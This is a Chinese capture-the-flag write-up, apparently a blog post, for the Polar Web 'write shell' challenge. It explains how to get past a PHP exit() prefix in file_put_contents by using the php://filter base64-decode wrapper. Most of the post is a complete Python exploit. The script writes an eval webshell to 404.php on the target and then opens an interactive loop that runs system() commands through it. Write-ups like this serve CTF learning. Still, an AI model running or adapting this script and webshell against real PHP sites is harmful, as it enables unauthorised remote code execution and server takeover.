Polar Web【中等】写shell

Polar Web【中等】写shell

思路&探索

初看题目,预测需要对站点写入木马,具体操作需要在过程中逐步实现。

  1. 打开站点(见下图),出现 file_put_contents 函数,其中接收 GET 参数 filename
  2. 同时发现存在半封闭形式的PHP代码 exit() 会导致直接退出程序,其后又连接一个 POST 参数 content,符合死亡绕过的特征,因此考虑使用 php:// 伪协议中的base64解码器来写入木马
  3. 本文采用脚本方式实现木马的绕过、写入以及Webshell的交互逻辑

index

EXP

from requests import post, get
import base64


def attack(url, cmd):
    data = {
        'cmd': cmd
    }
    resp = post(url, data).text
    if resp:
        print(resp)
    else:
        print("Nothing...")


def insert_shell(url):
    sh = '<?php @eval($_POST["cmd"]);?>'
    sh = '0' + base64.b64encode(sh.encode()).decode() # base64加密结果前需要引入编码范围内的任意字符,
    data = {
        'content': sh,
    }
    url_ = url + '?filename=php://filter/convert.base64-decode/resource=404.php' # 文件名自定义
    _ = post(url=url_, data=data)
    print(url + '404.php')
    if get(url + '404.php').content:
        return 1
    else:
        return 0


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/'
    if insert_shell(u):
        print(">> Insert success!\n")
        u += '404.php'
        while True:
            command = input(">> ")
            if command == 'quit':
                break
            command = 'system("' + command + '");'
            attack(url=u, cmd=command)
    else:
        print("Insert Fail..")

运行&总结

测试
run

  • 注意首页PHP代码中半封闭的那部分代码,需要在 base64 编码结果前插入 hex 范围内的任一字符,或者直接采用人为封闭并另起PHP代码块的方式,而本文采用的是前者。
  • 本文也随即演示了 base64 编码在Python中的实现方式。






敬,不完美的明天
  • 25
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_廿_尘

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值